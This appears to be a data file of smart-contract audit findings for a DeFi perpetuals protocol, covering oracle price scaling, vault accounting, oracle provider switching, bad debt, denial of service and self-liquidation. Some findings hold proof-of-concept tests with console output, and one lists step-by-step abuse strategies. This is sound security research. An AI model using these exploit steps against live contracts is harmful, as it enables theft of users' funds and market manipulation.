Here is PythOracle#_recordPrice function:\\n```\\n function _recordPrice(uint256 oracleVersion, PythStructs.Price memory price) private {\\n _prices[oracleVersion] = Fixed6Lib.from(price.price).mul(\\n Fixed6Lib.from(SafeCast.toInt256(10 ** SafeCast.toUint256(price.expo > 0 ? price.expo : -price.expo)))\\n );\\n _publishTimes[oracleVersion] = price.publishTime;\\n }\\n```\\n\\nIf price is 5e-5 for example, it will be recorded as 5e5 If price is 5e-6, it will be recorded as 5e6.\\nAs we can see, there is a massive deviation in recorded price from actual price whenever price's exponent is negative
In PythOracle.sol, `_prices` mapping should not be `mapping(uint256 => Fixed6) private _prices;` Instead, it should be `mapping(uint256 => Price) private _prices;`, where Price is a struct that stores the price and expo:\\n```\\nstruct Price{\\n Fixed6 price,\\n int256 expo\\n}\\n```\\n\\nThis way, the price exponents will be preserved, and can be used to scale the prices correctly wherever it is used.
Wrong prices will be recorded. For example, If priceA is 5e-5, and priceB is 5e-6. But due to the wrong conversion,\\nThere is a massive change in price(5e5 against 5e-5)\\nwe know that priceA is ten times larger than priceB, but priceA will be recorded as ten times smaller than priceB. Unfortunately, current payoff functions may not be able to take care of these discrepancies
```\\n function _recordPrice(uint256 oracleVersion, PythStructs.Price memory price) private {\\n _prices[oracleVersion] = Fixed6Lib.from(price.price).mul(\\n Fixed6Lib.from(SafeCast.toInt256(10 ** SafeCast.toUint256(price.expo > 0 ? price.expo : -price.expo)))\\n );\\n _publishTimes[oracleVersion] = price.publishTime;\\n }\\n```\\n
Vault.sol: `settle`ing the 0 address will disrupt accounting
high
Within `Vault#_loadContext` function, the context.global is the account of the 0 address, while context.local is the account of the address to be updated or settled:\\n```\\nfunction _loadContext(address account) private view returns (Context memory context) {\\n // rest of code\\n context.global = _accounts[address(0)].read();\\n context.local = _accounts[account].read();\\n context.latestCheckpoint = _checkpoints[context.global.latest].read();\\n}\\n```\\n\\nIf a user settles the 0 address, the global account will be updated with wrong data.\\nHere is the _settle logic:\\n```\\nfunction _settle(Context memory context) private {\\n // settle global positions\\n while (\\n context.global.current > context.global.latest &&\\n _mappings[context.global.latest + 1].read().ready(context.latestIds)\\n ) {\\n uint256 newLatestId = context.global.latest + 1;\\n context.latestCheckpoint = _checkpoints[newLatestId].read();\\n (Fixed6 collateralAtId, UFixed6 feeAtId, UFixed6 keeperAtId) = _collateralAtId(context, newLatestId);\\n context.latestCheckpoint.complete(collateralAtId, feeAtId, keeperAtId);\\n context.global.processGlobal(\\n newLatestId,\\n context.latestCheckpoint,\\n context.latestCheckpoint.deposit,\\n context.latestCheckpoint.redemption\\n );\\n _checkpoints[newLatestId].store(context.latestCheckpoint);\\n }\\n\\n // settle local position\\n if (\\n context.local.current > context.local.latest &&\\n _mappings[context.local.current].read().ready(context.latestIds)\\n ) {\\n uint256 newLatestId = context.local.current;\\n Checkpoint memory checkpoint = _checkpoints[newLatestId].read();\\n context.local.processLocal(\\n newLatestId,\\n checkpoint,\\n context.local.deposit,\\n context.local.redemption\\n );\\n }\\n}\\n```\\n\\nIf settle is called on 0 address, _loadContext will give context.global and context.local same data. In the _settle logic, after the global account(0 address) is updated with the correct data in the `while` loop(specifically through the processGlobal function), the global account gets reupdated with wrong data within the `if` statement through the processLocal function.\\nWrong assets and shares will be recorded. The global account's assets and shares should be calculated with toAssetsGlobal and toSharesGlobal respectively, but now, they are calculated with toAssetsLocal and toSharesLocal.\\ntoAssetsGlobal subtracts the globalKeeperFees from the global deposited assets, while toAssetsLocal subtracts globalKeeperFees/Checkpoint.count fees from the local account's assets.\\nSo in the case of settling the 0 address, where global account and local account are both 0 address, within the while loop of _settle function, depositedAssets-globalKeeperFees is recorded for address(0), but then, in the `if` statement, depositedAssets-(globalAssets/Checkpoint.count) is recorded for address(0)\\nAnd within the `Vault#_saveContext` function, context.global is saved before context.local, so in this case, context.global(which is 0 address with correct data) is overridden with context.local(which is 0 address with wrong data).
I believe that the ability to settle the 0 address is intended, so an easy fix is to save local context before saving global context: Before:\\n```\\n function _saveContext(Context memory context, address account) private {\\n _accounts[address(0)].store(context.global);\\n _accounts[account].store(context.local);\\n _checkpoints[context.currentId].store(context.currentCheckpoint);\\n }\\n```\\n\\nAfter:\\n```\\n function _saveContext(Context memory context, address account) private {\\n _accounts[account].store(context.local);\\n _accounts[address(0)].store(context.global);\\n _checkpoints[context.currentId].store(context.currentCheckpoint);\\n }\\n```\\n
The global account will be updated with wrong data, that is, global assets and shares will be higher than it should be because lower keeper fees was deducted.
```\\nfunction _loadContext(address account) private view returns (Context memory context) {\\n // rest of code\\n context.global = _accounts[address(0)].read();\\n context.local = _accounts[account].read();\\n context.latestCheckpoint = _checkpoints[context.global.latest].read();\\n}\\n```\\n
During oracle provider switch, if it is impossible to commit the last request of previous provider, then the oracle will get stuck (no price updates) without any possibility to fix it
medium
The way oracle provider switch works is the following:\\n`Oracle.update()` is called to set a new provider. This is only allowed if there is no other provider switch pending.\\nThere is a brief transition period, when both the previous provider and a new provider are active. This is to ensure that all the requests made to the previous oracle are commited before switching to a new provider. This is handled by the `Oracle._handleLatest()` function, in particular the switch to a new provider occurs only when `Oracle.latestStale()` returns true. The lines of interest to us are:\\n```\\n uint256 latestTimestamp = global.latest == 0 ? 0 : oracles[global.latest].provider.latest().timestamp;\\n if (uint256(oracles[global.latest].timestamp) > latestTimestamp) return false;\\n```\\n\\n`latestTimestamp` - is the timestamp of last commited price for the previous provider `oracles[global.latest].timestamp` is the timestamp of the last requested price for the previous provider The switch doesn't occur, until last commited price is equal to or after the last request timestamp for the previous provider. 3. The functions to `commit` the price are in PythOracle: `commitRequested` and `commit`. 3.1. `commitRequested` requires publish timestamp of the pyth price to be within MIN_VALID_TIME_AFTER_VERSION..MAX_VALID_TIME_AFTER_VERSION from request time. It is possible that pyth price with signature in this time period is not available for different reasons (pyth price feed is down, keeper was down during this period and didn't collect price and signature):\\n```\\n uint256 versionToCommit = versionList[versionIndex];\\n PythStructs.Price memory pythPrice = _validateAndGetPrice(versionToCommit, updateData);\\n```\\n\\n`versionList` is an array of oracle request timestamps. And `_validateAndGetPrice()` filters the price within the interval specified (if it is not in the interval, it will revert):\\n```\\n return pyth.parsePriceFeedUpdates{value: pyth.getUpdateFee(updateDataList)}(\\n updateDataList,\\n idList,\\n SafeCast.toUint64(oracleVersion + MIN_VALID_TIME_AFTER_VERSION),\\n SafeCast.toUint64(oracleVersion + MAX_VALID_TIME_AFTER_VERSION)\\n )[0].price;\\n```\\n\\n3.2. `commit` can not be done with timestamp older than the first oracle request timestamp: if any oracle request is still active, it will simply redirect to commitRequested:\\n```\\n if (versionList.length > nextVersionIndexToCommit && oracleVersion >= versionList[nextVersionIndexToCommit]) {\\n commitRequested(nextVersionIndexToCommit, updateData);\\n return;\\n }\\n```\\n\\nAll new oracle requests are directed to a new provider, this means that previous provider can not receive any new requests (which allows to finalize it):\\n```\\n function request(address account) external onlyAuthorized {\\n (OracleVersion memory latestVersion, uint256 currentTimestamp) = oracles[global.current].provider.status();\\n\\n oracles[global.current].provider.request(account);\\n oracles[global.current].timestamp = uint96(currentTimestamp);\\n _updateLatest(latestVersion);\\n }\\n```\\n\\nSo the following scenario is possible: timestamp=69: oracle price is commited for timestamp=50 timestamp=70: user requests to open position (Oracle.request() is made) timestamp=80: owner calls `Oracle.update()` timestamp=81: pyth price signing service goes offline (or keeper goes offline) ... timestamp=120: signing service goes online again. timestamp=121: another user requests to open position (Oracle.request() is made, directed to new provider) timestamp=200: new provider's price is commited (commitRequested is called with timestamp=121)\\nAt this time, `Oracle.latest()` will return price at timestamp=50. It will ignore new provider's latest commit, because previous provider last request (timestamp=70) is still not commited. Any new price requests and commits to a new provider will be ignored, but the previous provider can not be commited due to absence of prices in the valid time range. It is also not possible to change oracle for the market, because there is no such function. It is also impossible to cancel provider update and impossible to change the provider back to previous one, as all of these will revert.\\nIt is still possible for the owner to manually whitelist some address to call `request()` for the previous provider. However, this situation provides even worse result. While the latest version for the previous provider will now be later than the last request, so it will let the oracle switch to new provider, however `oracle.status()` will briefly return invalid oracle version, because it will return oracle version at the timestamp = last request before the provider switch, which will be invalid (the new request will be after that timestamp):\\nThis can be abused by some user who can backrun the previous provider oracle commit (or commit himself) and use the invalid oracle returned by `status()` (oracle version with price = 0). Market doesn't expect the oracle status to return invalid price (it is expected to be always valid), so it will use this invalid price as if it's a normal price = 0, which will totally break the market:\\nSo if the oracle provider switch becomes stuck, there is no way out and the market will become stale, not allowing any user to withdraw the funds.
There are multiple possible ways to fix this. For example, allow to finalize previous provider if the latest `commit` from the new provider is newer than the latest `commit` from the previous provider by `GRACE_PERIOD` seconds. Or allow PythOracle to `commit` directly (instead of via commitRequested) if the `commit` oracleVersion is newer than the last request by `GRACE_PERIOD` seconds.
Issue During oracle provider switch, if it is impossible to commit the last request of previous provider, then the oracle will get stuck (no price updates) without any possibility to fix it\\nSwitching oracle provider can make the oracle stuck and stop updating new prices. This will mean the market will become stale and will revert on all requests from user, disallowing to withdraw funds, bricking the contract entirely.
```\\n uint256 latestTimestamp = global.latest == 0 ? 0 : oracles[global.latest].provider.latest().timestamp;\\n if (uint256(oracles[global.latest].timestamp) > latestTimestamp) return false;\\n```\\n
Bad debt (shortfall) liquidation leaves liquidated user in a negative collateral balance which can cause bank run and loss of funds for the last users to withdraw
medium
Consider the following scenario:\\nUser1 and User2 are the only makers in the market each with maker=50 position and each with collateral=500. (price=$100)\\nA new user comes into the market and opens long=10 position with collateral=10.\\nPrice drops to $90. Some liquidator liquidates the user, taking $10 liquidation fee. User is now left with the negative collateral = -$100\\nSince User1 and User2 were the other party for the user, each of them has a profit of $50 (both users have collateral=550)\\nAt this point protocol has total funds from deposit of User1($500) + User2($500) + new user($10) - liquidator($10) = $1000. However, User1 and User2 have total collateral of 1100.\\nUser1 closes position and withdraws $550. This succeeds. Protocol now has only $450 funds remaining and 550 collateral owed to User2.\\nUser2 closes position and tries to withdraw $550, but fails, because protocol doesn't have enough funds. User2 can only withdraw $450, effectively losing $100.\\nSince all users know about this feature, after bad debt they will race to be the first to withdraw, triggering a bank run.\\nThe scenario above is demonstrated in the test, add this to test/unit/market/Market.test.ts:\\n```\\nit('panprog bad debt liquidation bankrun', async () => {\\n\\n function setupOracle(price: string, timestamp : number, nextTimestamp : number) {\\n const oracleVersion = {\\n price: parse6decimal(price),\\n timestamp: timestamp,\\n valid: true,\\n }\\n oracle.at.whenCalledWith(oracleVersion.timestamp).returns(oracleVersion)\\n oracle.status.returns([oracleVersion, nextTimestamp])\\n oracle.request.returns()\\n }\\n\\n var riskParameter = {\\n maintenance: parse6decimal('0.01'),\\n takerFee: parse6decimal('0.00'),\\n takerSkewFee: 0,\\n takerImpactFee: 0,\\n makerFee: parse6decimal('0.00'),\\n makerImpactFee: 0,\\n makerLimit: parse6decimal('1000'),\\n efficiencyLimit: parse6decimal('0.2'),\\n liquidationFee: parse6decimal('0.50'),\\n minLiquidationFee: parse6decimal('10'),\\n maxLiquidationFee: parse6decimal('1000'),\\n utilizationCurve: {\\n minRate: parse6decimal('0.0'),\\n maxRate: parse6decimal('1.00'),\\n targetRate: parse6decimal('0.10'),\\n targetUtilization: parse6decimal('0.50'),\\n },\\n pController: {\\n k: parse6decimal('40000'),\\n max: parse6decimal('1.20'),\\n },\\n minMaintenance: parse6decimal('10'),\\n virtualTaker: parse6decimal('0'),\\n staleAfter: 14400,\\n makerReceiveOnly: false,\\n }\\n var marketParameter = {\\n fundingFee: parse6decimal('0.0'),\\n interestFee: parse6decimal('0.0'),\\n oracleFee: parse6decimal('0.0'),\\n riskFee: parse6decimal('0.0'),\\n positionFee: parse6decimal('0.0'),\\n maxPendingGlobal: 5,\\n maxPendingLocal: 3,\\n settlementFee: parse6decimal('0'),\\n makerRewardRate: parse6decimal('0'),\\n longRewardRate: parse6decimal('0'),\\n shortRewardRate: parse6decimal('0'),\\n makerCloseAlways: false,\\n takerCloseAlways: false,\\n closed: false,\\n }\\n \\n await market.connect(owner).updateRiskParameter(riskParameter);\\n await market.connect(owner).updateParameter(marketParameter);\\n\\n setupOracle('100', TIMESTAMP, TIMESTAMP + 100);\\n\\n var collateral = parse6decimal('500')\\n dsu.transferFrom.whenCalledWith(userB.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(userB).update(userB.address, parse6decimal('50.000'), 0, 0, collateral, false)\\n dsu.transferFrom.whenCalledWith(userC.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(userC).update(userC.address, parse6decimal('50.000'), 0, 0, collateral, false)\\n\\n var collateral = parse6decimal('10')\\n dsu.transferFrom.whenCalledWith(user.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(user).update(user.address, 0, parse6decimal('10.000'), 0, collateral, false)\\n\\n var info = await market.locals(user.address);\\n var infoB = await market.locals(userB.address);\\n var infoC = await market.locals(userC.address);\\n console.log("collateral before liquidation: " + info.collateral + " + " + infoB.collateral + " + " + infoC.collateral + " = " + \\n info.collateral.add(infoB.collateral).add(infoC.collateral));\\n\\n setupOracle('100', TIMESTAMP + 100, TIMESTAMP + 200);\\n setupOracle('90', TIMESTAMP + 200, TIMESTAMP + 300);\\n // liquidate\\n const EXPECTED_LIQUIDATION_FEE = parse6decimal('10')\\n dsu.transfer.whenCalledWith(liquidator.address, EXPECTED_LIQUIDATION_FEE.mul(1e12)).returns(true)\\n dsu.balanceOf.whenCalledWith(market.address).returns(COLLATERAL.mul(1e12))\\n await market.connect(liquidator).update(user.address, 0, 0, 0, EXPECTED_LIQUIDATION_FEE.mul(-1), true)\\n\\n setupOracle('90', TIMESTAMP + 200, TIMESTAMP + 300);\\n await market.connect(userB).update(userB.address, 0, 0, 0, 0, false)\\n await market.connect(userC).update(userC.address, 0, 0, 0, 0, false)\\n\\n var info = await market.locals(user.address);\\n var infoB = await market.locals(userB.address);\\n var infoC = await market.locals(userC.address);\\n console.log("collateral after liquidation: " + info.collateral + " + " + infoB.collateral + " + " + infoC.collateral + " = " + \\n info.collateral.add(infoB.collateral).add(infoC.collateral));\\n})\\n```\\n\\nConsole output for the code:\\n```\\ncollateral before liquidation: 10000000 + 500000000 + 500000000 = 1010000000\\ncollateral after liquidation: -100000080 + 550000000 + 550000000 = 999999920\\n```\\n\\nAfter initial total deposit of $1010, in the end liquidated user will just abandon his account, and remaining user accounts have $550+$550=$1100 but only $1000 funds in the protocol to withdraw.
There should be no negative collateral accounts with 0-position and no incentive to cover shortfall. When liquidated, if account is left with negative collateral, the bad debt should be added to the opposite position pnl (long position bad debt should be socialized between short position holders) or maybe to makers pnl only (socialized between makers). The account will have to be left with collateral = 0.\\nImplementation details for such solution can be tricky due to settlement in the future (pnl is not known at the time of liquidation initiation). Possibly a 2nd step of bad debt liquidation should be added: a keeper will call the user account to socialize bad debt and get some reward for this. Although this is not the best solution, because users who close their positions before the keeper socializes the bad debt, will be able to avoid this social loss. One of the solutions for this will be to introduce delayed withdrawals and delayed socialization (like withdrawals are allowed only after 5 oracle versions and socialization is applied to all positions opened before socialization and still active or closed within 5 last oracle versions), but it will make protocol much more complicated.
After ANY bad debt, the protocol collateral for all non-negative users will be higher than protocol funds available, which can cause a bank run and a loss of funds for the users who are the last to withdraw.\\nEven if someone covers the shortfall for the user with negative collateral, this doesn't guarantee absence of bank run:\\nIf the shortfall is not covered quickly for any reason, the other users can notice disparency between collateral and funds in the protocol and start to withdraw\\nIt is possible that bad debt is so high that any entity ("insurance fund") just won't have enough funds to cover it.
```\\nit('panprog bad debt liquidation bankrun', async () => {\\n\\n function setupOracle(price: string, timestamp : number, nextTimestamp : number) {\\n const oracleVersion = {\\n price: parse6decimal(price),\\n timestamp: timestamp,\\n valid: true,\\n }\\n oracle.at.whenCalledWith(oracleVersion.timestamp).returns(oracleVersion)\\n oracle.status.returns([oracleVersion, nextTimestamp])\\n oracle.request.returns()\\n }\\n\\n var riskParameter = {\\n maintenance: parse6decimal('0.01'),\\n takerFee: parse6decimal('0.00'),\\n takerSkewFee: 0,\\n takerImpactFee: 0,\\n makerFee: parse6decimal('0.00'),\\n makerImpactFee: 0,\\n makerLimit: parse6decimal('1000'),\\n efficiencyLimit: parse6decimal('0.2'),\\n liquidationFee: parse6decimal('0.50'),\\n minLiquidationFee: parse6decimal('10'),\\n maxLiquidationFee: parse6decimal('1000'),\\n utilizationCurve: {\\n minRate: parse6decimal('0.0'),\\n maxRate: parse6decimal('1.00'),\\n targetRate: parse6decimal('0.10'),\\n targetUtilization: parse6decimal('0.50'),\\n },\\n pController: {\\n k: parse6decimal('40000'),\\n max: parse6decimal('1.20'),\\n },\\n minMaintenance: parse6decimal('10'),\\n virtualTaker: parse6decimal('0'),\\n staleAfter: 14400,\\n makerReceiveOnly: false,\\n }\\n var marketParameter = {\\n fundingFee: parse6decimal('0.0'),\\n interestFee: parse6decimal('0.0'),\\n oracleFee: parse6decimal('0.0'),\\n riskFee: parse6decimal('0.0'),\\n positionFee: parse6decimal('0.0'),\\n maxPendingGlobal: 5,\\n maxPendingLocal: 3,\\n settlementFee: parse6decimal('0'),\\n makerRewardRate: parse6decimal('0'),\\n longRewardRate: parse6decimal('0'),\\n shortRewardRate: parse6decimal('0'),\\n makerCloseAlways: false,\\n takerCloseAlways: false,\\n closed: false,\\n }\\n \\n await market.connect(owner).updateRiskParameter(riskParameter);\\n await market.connect(owner).updateParameter(marketParameter);\\n\\n setupOracle('100', TIMESTAMP, TIMESTAMP + 100);\\n\\n var collateral = parse6decimal('500')\\n dsu.transferFrom.whenCalledWith(userB.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(userB).update(userB.address, parse6decimal('50.000'), 0, 0, collateral, false)\\n dsu.transferFrom.whenCalledWith(userC.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(userC).update(userC.address, parse6decimal('50.000'), 0, 0, collateral, false)\\n\\n var collateral = parse6decimal('10')\\n dsu.transferFrom.whenCalledWith(user.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(user).update(user.address, 0, parse6decimal('10.000'), 0, collateral, false)\\n\\n var info = await market.locals(user.address);\\n var infoB = await market.locals(userB.address);\\n var infoC = await market.locals(userC.address);\\n console.log("collateral before liquidation: " + info.collateral + " + " + infoB.collateral + " + " + infoC.collateral + " = " + \\n info.collateral.add(infoB.collateral).add(infoC.collateral));\\n\\n setupOracle('100', TIMESTAMP + 100, TIMESTAMP + 200);\\n setupOracle('90', TIMESTAMP + 200, TIMESTAMP + 300);\\n // liquidate\\n const EXPECTED_LIQUIDATION_FEE = parse6decimal('10')\\n dsu.transfer.whenCalledWith(liquidator.address, EXPECTED_LIQUIDATION_FEE.mul(1e12)).returns(true)\\n dsu.balanceOf.whenCalledWith(market.address).returns(COLLATERAL.mul(1e12))\\n await market.connect(liquidator).update(user.address, 0, 0, 0, EXPECTED_LIQUIDATION_FEE.mul(-1), true)\\n\\n setupOracle('90', TIMESTAMP + 200, TIMESTAMP + 300);\\n await market.connect(userB).update(userB.address, 0, 0, 0, 0, false)\\n await market.connect(userC).update(userC.address, 0, 0, 0, 0, false)\\n\\n var info = await market.locals(user.address);\\n var infoB = await market.locals(userB.address);\\n var infoC = await market.locals(userC.address);\\n console.log("collateral after liquidation: " + info.collateral + " + " + infoB.collateral + " + " + infoC.collateral + " = " + \\n info.collateral.add(infoB.collateral).add(infoC.collateral));\\n})\\n```\\n
Market: DoS when stuffed with pending protected positions
medium
In `_invariant`, there is a limit on the number of pending position updates. But for `protected` position updates, `_invariant` returns early and does not trigger this check.\\n```\\n function _invariant(\\n Context memory context,\\n address account,\\n Order memory newOrder,\\n Fixed6 collateral,\\n bool protected\\n ) private view {\\n // rest of code.\\n\\n if (protected) return; // The following invariants do not apply to protected position updates (liquidations)\\n // rest of code.\\n if (\\n context.global.currentId > context.global.latestId + context.marketParameter.maxPendingGlobal ||\\n context.local.currentId > context.local.latestId + context.marketParameter.maxPendingLocal\\n ) revert MarketExceedsPendingIdLimitError();\\n // rest of code.\\n }\\n```\\n\\nAfter the `_invariant` check, the postion updates will be added into pending position queues.\\n```\\n _invariant(context, account, newOrder, collateral, protected);\\n\\n // store\\n _pendingPosition[context.global.currentId].store(context.currentPosition.global);\\n _pendingPositions[account][context.local.currentId].store(context.currentPosition.local);\\n```\\n\\nWhen the protocol enters next oracle version, the global pending queue `_pendingPosition` will be settled in a loop.\\n```\\n function _settle(Context memory context, address account) private {\\n // rest of code.\\n // settle\\n while (\\n context.global.currentId != context.global.latestId &&\\n (nextPosition = _pendingPosition[context.global.latestId + 1].read()).ready(context.latestVersion)\\n ) _processPositionGlobal(context, context.global.latestId + 1, nextPosition);\\n```\\n\\nThe OOG revert happens if there are too many pending position updates.\\nThis revert will happend on every `update` calls because they all need to settle this `_pendingPosition` before `update`.\\n```\\n function update(\\n address account,\\n UFixed6 newMaker,\\n UFixed6 newLong,\\n UFixed6 newShort,\\n Fixed6 collateral,\\n bool protect\\n ) external nonReentrant whenNotPaused {\\n Context memory context = _loadContext(account);\\n _settle(context, account);\\n _update(context, account, newMaker, newLong, newShort, collateral, protect);\\n _saveContext(context, account);\\n }\\n```\\n
Either or both,\\nLimit the number of pending protected position updates can be queued in `_invariant`.\\nLimit the number of global pending protected postions can be settled in `_settle`.
The protocol will be fully unfunctional and funds will be locked. There will be no recover to this DoS.\\nA malicious user can tigger this intentionally at very low cost. Alternatively, this can occur during a volatile market period when there are massive liquidations.
```\\n function _invariant(\\n Context memory context,\\n address account,\\n Order memory newOrder,\\n Fixed6 collateral,\\n bool protected\\n ) private view {\\n // rest of code.\\n\\n if (protected) return; // The following invariants do not apply to protected position updates (liquidations)\\n // rest of code.\\n if (\\n context.global.currentId > context.global.latestId + context.marketParameter.maxPendingGlobal ||\\n context.local.currentId > context.local.latestId + context.marketParameter.maxPendingLocal\\n ) revert MarketExceedsPendingIdLimitError();\\n // rest of code.\\n }\\n```\\n
It is possible to open and liquidate your own position in 1 transaction to overcome efficiency and liquidity removal limits at almost no cost
medium
The user can liquidate his own position with 100% guarantee in 1 transaction by following these steps:\\nIt can be done on existing position or on a new position\\nRecord Pyth oracle prices with signatures until you encounter a price which is higher (or lower, depending on your position direction) than latest oracle version price by any amount.\\nIn 1 transaction do the following: 3.1. Make the position you want to liquidate at exactly the edge of liquidation: withdraw maximum allowed amount or open a new position with minimum allowed collateral 3.2. Commit non-requested oracle version with the price recorded earlier (this price makes the position liquidatable) 3.3. Liquidate your position (it will be allowed, because the position generates a minimum loss due to price change and becomes liquidatable)\\nSince all liquidation fee is given to user himself, liquidation of own position is almost free for the user (only the keeper and position open/close fee is paid if any).\\nThe scenario of liquidating unsuspecting user is demonstrated in the test, add this to test/unit/market/Market.test.ts:\\n```\\nit('panprog liquidate unsuspecting user / self in 1 transaction', async () => {\\n\\n function setupOracle(price: string, timestamp : number, nextTimestamp : number) {\\n const oracleVersion = {\\n price: parse6decimal(price),\\n timestamp: timestamp,\\n valid: true,\\n }\\n oracle.at.whenCalledWith(oracleVersion.timestamp).returns(oracleVersion)\\n oracle.status.returns([oracleVersion, nextTimestamp])\\n oracle.request.returns()\\n }\\n\\n var riskParameter = {\\n maintenance: parse6decimal('0.2'),\\n takerFee: parse6decimal('0.00'),\\n takerSkewFee: 0,\\n takerImpactFee: 0,\\n makerFee: parse6decimal('0.00'),\\n makerImpactFee: 0,\\n makerLimit: parse6decimal('1000'),\\n efficiencyLimit: parse6decimal('0.2'),\\n liquidationFee: parse6decimal('0.50'),\\n minLiquidationFee: parse6decimal('10'),\\n maxLiquidationFee: parse6decimal('1000'),\\n utilizationCurve: {\\n minRate: parse6decimal('0.0'),\\n maxRate: parse6decimal('1.00'),\\n targetRate: parse6decimal('0.10'),\\n targetUtilization: parse6decimal('0.50'),\\n },\\n pController: {\\n k: parse6decimal('40000'),\\n max: parse6decimal('1.20'),\\n },\\n minMaintenance: parse6decimal('10'),\\n virtualTaker: parse6decimal('0'),\\n staleAfter: 14400,\\n makerReceiveOnly: false,\\n }\\n var marketParameter = {\\n fundingFee: parse6decimal('0.0'),\\n interestFee: parse6decimal('0.0'),\\n oracleFee: parse6decimal('0.0'),\\n riskFee: parse6decimal('0.0'),\\n positionFee: parse6decimal('0.0'),\\n maxPendingGlobal: 5,\\n maxPendingLocal: 3,\\n settlementFee: parse6decimal('0'),\\n makerRewardRate: parse6decimal('0'),\\n longRewardRate: parse6decimal('0'),\\n shortRewardRate: parse6decimal('0'),\\n makerCloseAlways: false,\\n takerCloseAlways: false,\\n closed: false,\\n }\\n \\n await market.connect(owner).updateRiskParameter(riskParameter);\\n await market.connect(owner).updateParameter(marketParameter);\\n\\n setupOracle('100', TIMESTAMP, TIMESTAMP + 100);\\n\\n var collateral = parse6decimal('1000')\\n dsu.transferFrom.whenCalledWith(userB.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(userB).update(userB.address, parse6decimal('10.000'), 0, 0, collateral, false)\\n\\n var collateral = parse6decimal('100')\\n dsu.transferFrom.whenCalledWith(user.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(user).update(user.address, 0, parse6decimal('1.000'), 0, collateral, false)\\n\\n // settle\\n setupOracle('100', TIMESTAMP + 100, TIMESTAMP + 200);\\n await market.connect(userB).update(userB.address, parse6decimal('10.000'), 0, 0, 0, false)\\n await market.connect(user).update(user.address, 0, parse6decimal('1.000'), 0, 0, false)\\n\\n // withdraw\\n var collateral = parse6decimal('800')\\n dsu.transfer.whenCalledWith(userB.address, collateral.mul(1e12)).returns(true)\\n await market.connect(userB).update(userB.address, parse6decimal('2.000'), 0, 0, collateral.mul(-1), false)\\n\\n // liquidate unsuspecting user\\n setupOracle('100.01', TIMESTAMP + 150, TIMESTAMP + 200);\\n const EXPECTED_LIQUIDATION_FEE = parse6decimal('100.01')\\n dsu.transfer.whenCalledWith(liquidator.address, EXPECTED_LIQUIDATION_FEE.mul(1e12)).returns(true)\\n dsu.balanceOf.whenCalledWith(market.address).returns(COLLATERAL.mul(1e12))\\n await market.connect(liquidator).update(userB.address, 0, 0, 0, EXPECTED_LIQUIDATION_FEE.mul(-1), true)\\n\\n setupOracle('100.01', TIMESTAMP + 200, TIMESTAMP + 300);\\n await market.connect(userB).update(userB.address, 0, 0, 0, 0, false)\\n\\n var info = await market.locals(userB.address);\\n var pos = await market.positions(userB.address);\\n console.log("Liquidated maker: collateral = " + info.collateral + " maker = " + pos.maker);\\n\\n})\\n```\\n\\nConsole output for the code:\\n```\\nLiquidated maker: collateral = 99980000 maker = 0\\n```\\n\\nSelf liquidation is the same, just the liquidator does this in 1 transaction and is owned by userB.
Industry standard is to have initial margin (margin required to open position or withdraw collateral) and maintenance margin (margin required to keep the position solvent). Initial margin > maintenance margin and serves exactly for the reason to prevent users from being close to liquidation, intentional or not. I suggest to implement initial margin as a measure to prevent such self liquidation or unsuspected user liquidations. This will improve user experience (remove a lot of surprise liquidations) and will also improve security by disallowing intentional liquidations and cheaply overcoming the protocol limits such as efficiency limit: intentional liquidations are never good for the protocol as they're most often malicious, so having the ability to liquidate yourself in 1 transaction should definetely be prohibited.
There are different malicious actions scenarios possible which can abuse this issue and overcome efficiency and liquidity removal limitations (as they're ignored when liquidating positions), such as:\\nOpen large maker and long or short position, then liquidate maker to cause mismatch between long/short and maker (socialize positions). This will cause some chaos in the market, disbalance between long and short profit/loss and users will probably start leaving such chaotic market, so while this attack is not totally free, it's cheap enough to drive users away from competition.\\nOpen large maker, wait for long and/or short positions from normal users to accumulate, then liquidate most of the large maker position, which will drive taker interest very high and remaining small maker position will be able to accumulate big profit with a small risk.\\nJust open long/short position from different accounts and wait for the large price update and frontrun it by withdrawing max collateral from the position which will be in a loss, and immediately liquidate it in the same transaction: with large price update one position will be liquidated with bad debt while the other position will be in a large profit, total profit from both positions will be positive and basically risk-free, meaning it's at the expense of the other users. While this strategy is possible to do on its own, liquidation in the same transaction allows it to be more profitable and catch more opportunities, meaning more damage to the other protocol users.\\nThe same core reason can also cause unsuspecting user to be unexpectedly liquidated in the following scenario:\\nUser opens position (10 ETH long at $1000, with $10000 collateral). User is choosing very safe leverage = 1. Market maintenance is set to 20% (max leverage = 5)\\nSome time later the price is still $1000 and user decides to close most of his position and withdraw collateral, so he reduces his position to 2 ETH long and withdraws $8000 collateral, leaving his position with $2000 collateral. It appears that the user is at the safe leverage = 1 again.\\nRight in the same block the liquidator commits non-requested oracle with a price $999.999 and immediately liquidates the user.\\nThe user is unsuspectedly liquidated even though he thought that he was at leverage = 1. But since collateral is withdrawn immediately, but position changes only later, user actually brought his position to max leverage and got liquidated. While this might be argued to be the expected behavior, it might still be hard to understand and unintuitive for many users, so it's better to prevent such situation from happening and the fix is the same as the one to fix self-liquidations.
